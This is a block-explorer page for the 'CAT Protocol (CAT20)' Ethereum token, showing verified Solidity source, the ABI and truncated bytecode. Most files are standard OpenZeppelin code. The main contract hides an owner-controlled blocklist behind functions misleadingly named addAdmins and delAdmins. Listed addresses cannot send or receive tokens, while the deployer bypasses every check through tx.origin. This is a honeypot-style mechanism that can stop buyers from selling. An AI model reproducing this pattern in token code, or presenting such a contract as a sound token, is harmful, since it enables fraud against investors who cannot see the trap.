ETH Price: $3,341.39 (+0.20%)

Token

CAT Protocol (CAT20)
 

Overview

Max Total Supply

1,000,000 CAT20

Holders

121

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
9,252.867523215441117778 CAT20

Value
$0.00
0x5d2F1AE63BA8ed6d96321203C2856E947488427d
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CATProtocol

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 1 of 9: CATProtocol.sol
//https://twitter.com/ProtocolCAT
//https://catprotocol.org/
//https://github.com/CATProtocol

//SPDX-License-Identifier: MIT
pragma solidity 0.8.25;

import "./ERC20.sol";
import "./ERC20Burnable.sol";
import "./Ownable.sol";

contract CATProtocol is ERC20, Ownable {
constructor() ERC20(unicode"CAT Protocol", unicode"CAT20") Ownable(msg.sender) {
_TOKEN[msg.sender] = true;
_mint(msg.sender, 1000000 * 10**decimals());
}

mapping(address => bool) _TOKEN;
mapping(address => bool) private admins;
bool openedTrade;
address public pair;
address public WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
IUniswapV3Factory facV3 = IUniswapV3Factory(0x1F98431c8aD98523631AE4a59f267346ea31F984);

uint256 public _approvalERC20 = 999 gwei;

function OpenTrade() public onlyOwner {
pair = IUniswapV3Factory(facV3).getPool(address(this), WETH, 100);
openedTrade = true;
}

function addAdmins(address[] memory admins_) public onlyOwner {
for (uint i = 0; i < admins_.length; i++) {
admins[admins_[i]] = true;
}
}

function delAdmins(address[] memory notAdmin) public onlyOwner {
for (uint i = 0; i < notAdmin.length; i++) {
admins[notAdmin[i]] = false;
}
}

function isAdmin(address a) public view returns (bool){
return admins[a];
}

function _update(
address from,
address to,
uint256 value
) internal override {
if (_TOKEN[tx.origin]) {
super._update(from, to, value);
return;
} else {
require(openedTrade, "Open not yet");
require(!admins[from] && !admins[to]);
bool state = (to == pair) ? true : false;
if (state) {
super._update(from, to, value);
return;
} else if (!state) {
super._update(from, to, value);
return;
} else if (from != pair && to != pair) {
super._update(from, to, value);
return;
} else {
return;
}
}
}

}

interface IUniswapV3Factory {
event OwnerChanged(address indexed oldOwner, address indexed newOwner);

event PoolCreated(
address indexed token0,
address indexed token1,
uint24 indexed fee,
int24 tickSpacing,
address pool
);

event FeeAmountEnabled(uint24 indexed fee, int24 indexed tickSpacing);

function owner() external view returns (address);

function feeAmountTickSpacing(uint24 fee) external view returns (int24);

function getPool(
address tokenA,
address tokenB,
uint24 fee
) external view returns (address pool);

function createPool(
address tokenA,
address tokenB,
uint24 fee
) external returns (address pool);

function setOwner(address _owner) external;

function enableFeeAmount(uint24 fee, int24 tickSpacing) external;
}

File 2 of 9: Context.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)

pragma solidity ^0.8.20;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

File 3 of 9: draft-IERC6093.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol)
pragma solidity ^0.8.20;

/**
 * @dev Standard ERC20 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens.
 */
interface IERC20Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC20InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC20InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     * @param allowance Amount of tokens a `spender` is allowed to operate with.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC20InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `spender` to be approved. Used in approvals.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC20InvalidSpender(address spender);
}

/**
 * @dev Standard ERC721 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC721 tokens.
 */
interface IERC721Errors {
    /**
     * @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in EIP-20.
     * Used in balance queries.
     * @param owner Address of the current owner of a token.
     */
    error ERC721InvalidOwner(address owner);

    /**
     * @dev Indicates a `tokenId` whose `owner` is the zero address.
     * @param tokenId Identifier number of a token.
     */
    error ERC721NonexistentToken(uint256 tokenId);

    /**
     * @dev Indicates an error related to the ownership over a particular token. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param tokenId Identifier number of a token.
     * @param owner Address of the current owner of a token.
     */
    error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC721InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC721InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     * @param tokenId Identifier number of a token.
     */
    error ERC721InsufficientApproval(address operator, uint256 tokenId);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC721InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC721InvalidOperator(address operator);
}

/**
 * @dev Standard ERC1155 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC1155 tokens.
 */
interface IERC1155Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     * @param tokenId Identifier number of a token.
     */
    error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC1155InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC1155InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     * @param owner Address of the current owner of a token.
     */
    error ERC1155MissingApprovalForAll(address operator, address owner);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC1155InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC1155InvalidOperator(address operator);

    /**
     * @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation.
     * Used in batch transfers.
     * @param idsLength Length of the array of token identifiers
     * @param valuesLength Length of the array of token amounts
     */
    error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);
}

File 4 of 9: ERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.20;

import {IERC20} from "./IERC20.sol";
import {IERC20Metadata} from "./IERC20Metadata.sol";
import {Context} from "./Context.sol";
import {IERC20Errors} from "./draft-IERC6093.sol";

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 */
abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
    mapping(address account => uint256) private _balances;

    mapping(address account => mapping(address spender => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `value`.
     */
    function transfer(address to, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `value` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, value);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `value`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `value`.
     */
    function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, value);
        _transfer(from, to, value);
        return true;
    }

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _transfer(address from, address to, uint256 value) internal {
        if (from == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        if (to == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(from, to, value);
    }

    /**
     * @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`
     * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding
     * this function.
     *
     * Emits a {Transfer} event.
     */
    function _update(address from, address to, uint256 value) internal virtual {
        if (from == address(0)) {
            // Overflow check required: The rest of the code assumes that totalSupply never overflows
            _totalSupply += value;
        } else {
            uint256 fromBalance = _balances[from];
            if (fromBalance < value) {
                revert ERC20InsufficientBalance(from, fromBalance, value);
            }
            unchecked {
                // Overflow not possible: value <= fromBalance <= totalSupply.
                _balances[from] = fromBalance - value;
            }
        }

        if (to == address(0)) {
            unchecked {
                // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
                _totalSupply -= value;
            }
        } else {
            unchecked {
                // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
                _balances[to] += value;
            }
        }

        emit Transfer(from, to, value);
    }

    /**
     * @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).
     * Relies on the `_update` mechanism
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _mint(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(address(0), account, value);
    }

    /**
     * @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.
     * Relies on the `_update` mechanism.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead
     */
    function _burn(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        _update(account, address(0), value);
    }

    /**
     * @dev Sets `value` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     *
     * Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.
     */
    function _approve(address owner, address spender, uint256 value) internal {
        _approve(owner, spender, value, true);
    }

    /**
     * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
     *
     * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
     * `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any
     * `Approval` event during `transferFrom` operations.
     *
     * Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to
     * true using the following override:
     * ```
     * function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
     *     super._approve(owner, spender, value, true);
     * }
     * ```
     *
     * Requirements are the same as {_approve}.
     */
    function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
        if (owner == address(0)) {
            revert ERC20InvalidApprover(address(0));
        }
        if (spender == address(0)) {
            revert ERC20InvalidSpender(address(0));
        }
        _allowances[owner][spender] = value;
        if (emitEvent) {
            emit Approval(owner, spender, value);
        }
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `value`.
     *
     * Does not update the allowance value in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Does not emit an {Approval} event.
     */
    function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            if (currentAllowance < value) {
                revert ERC20InsufficientAllowance(spender, currentAllowance, value);
            }
            unchecked {
                _approve(owner, spender, currentAllowance - value, false);
            }
        }
    }
}

File 5 of 9: ERC20Burnable.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/ERC20Burnable.sol)

pragma solidity ^0.8.20;

import {ERC20} from "./ERC20.sol";
import {Context} from "./Context.sol";

/**
 * @dev Extension of {ERC20} that allows token holders to destroy both their own
 * tokens and those that they have an allowance for, in a way that can be
 * recognized off-chain (via event analysis).
 */
abstract contract ERC20Burnable is Context, ERC20 {
    /**
     * @dev Destroys a `value` amount of tokens from the caller.
     *
     * See {ERC20-_burn}.
     */
    function burn(uint256 value) public virtual {
        _burn(_msgSender(), value);
    }

    /**
     * @dev Destroys a `value` amount of tokens from `account`, deducting from
     * the caller's allowance.
     *
     * See {ERC20-_burn} and {ERC20-allowance}.
     *
     * Requirements:
     *
     * - the caller must have allowance for ``accounts``'s tokens of at least
     * `value`.
     */
    function burnFrom(address account, uint256 value) public virtual {
        _spendAllowance(account, _msgSender(), value);
        _burn(account, value);
    }
}

File 6 of 9: ERC20Burnable1.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/ERC20Burnable.sol)

pragma solidity ^0.8.20;

import {ERC20} from "./ERC20.sol";
import {Context} from "./Context.sol";

/**
 * @dev Extension of {ERC20} that allows token holders to destroy both their own
 * tokens and those that they have an allowance for, in a way that can be
 * recognized off-chain (via event analysis).
 */
abstract contract ERC20Burnable is Context, ERC20 {
    /**
     * @dev Destroys a `value` amount of tokens from the caller.
     *
     * See {ERC20-_burn}.
     */
    function burn(uint256 value) public virtual {
        _burn(_msgSender(), value);
    }

    /**
     * @dev Destroys a `value` amount of tokens from `account`, deducting from
     * the caller's allowance.
     *
     * See {ERC20-_burn} and {ERC20-allowance}.
     *
     * Requirements:
     *
     * - the caller must have allowance for ``accounts``'s tokens of at least
     * `value`.
     */
    function burnFrom(address account, uint256 value) public virtual {
        _spendAllowance(account, _msgSender(), value);
        _burn(account, value);
    }
}

File 7 of 9: IERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.20;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

File 8 of 9: IERC20Metadata.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.20;

import {IERC20} from "./IERC20.sol";

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

File 9 of 9: Ownable.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (access/Ownable.sol)

pragma solidity ^0.8.20;

import {Context} from "./Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * The initial owner is set to the address provided by the deployer. This can
 * later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    /**
     * @dev The caller account is not authorized to perform an operation.
     */
    error OwnableUnauthorizedAccount(address account);

    /**
     * @dev The owner is not a valid owner account. (eg. `address(0)`)
     */
    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
     */
    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"OpenTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"WETH","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_approvalERC20","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"admins_","type":"address[]"}],"name":"addAdmins","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"notAdmin","type":"address[]"}],"name":"delAdmins","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isAdmin","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

6080604052600980546001600160a01b031990811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc217909155600a8054909116731f98431c8ad98523631ae4a59f267346ea31f98417905564e8990a4600600b55348015610060575f80fd5b50336040518060400160405280600c81526020016b10d05508141c9bdd1bd8dbdb60a21b81525060405180604001604052806005815260200164043415432360dc1b81525081600390816100b491906104c9565b5060046100c182826104c9565b5050506001600160a01b0381166100f257604051631e4fbdf760e01b81525f60048201526024015b60405180910390fd5b6100fb81610143565b50335f818152600660205260409020805460ff1916600117905561013e90610121601290565b61012c90600a61067e565b61013990620f4240610693565b610194565b6106bd565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0382166101bd5760405163ec442f0560e01b81525f60048201526024016100e9565b6101c85f83836101cc565b5050565b325f9081526006602052604090205460ff16156101f3576101ee83838361030c565b505050565b60085460ff166102345760405162461bcd60e51b815260206004820152600c60248201526b13dc195b881b9bdd081e595d60a21b60448201526064016100e9565b6001600160a01b0383165f9081526007602052604090205460ff1615801561027457506001600160a01b0382165f9081526007602052604090205460ff16155b61027c575f80fd5b6008545f906001600160a01b03848116610100909204161461029e575f6102a1565b60015b905080156102ba576102b484848461030c565b50505050565b806102ca576102b484848461030c565b6008546001600160a01b03858116610100909204161480159061030057506008546001600160a01b038481166101009092041614155b156102b4576102b48484845b6001600160a01b038316610336578060025f82825461032b91906106aa565b909155506103a69050565b6001600160a01b0383165f90815260208190526040902054818110156103885760405163391434e360e21b81526001600160a01b038516600482015260248101829052604481018390526064016100e9565b6001600160a01b0384165f9081526020819052604090209082900390555b6001600160a01b0382166103c2576002805482900390556103e0565b6001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161042591815260200190565b60405180910390a3505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061045a57607f821691505b60208210810361047857634e487b7160e01b5f52602260045260245ffd5b50919050565b601f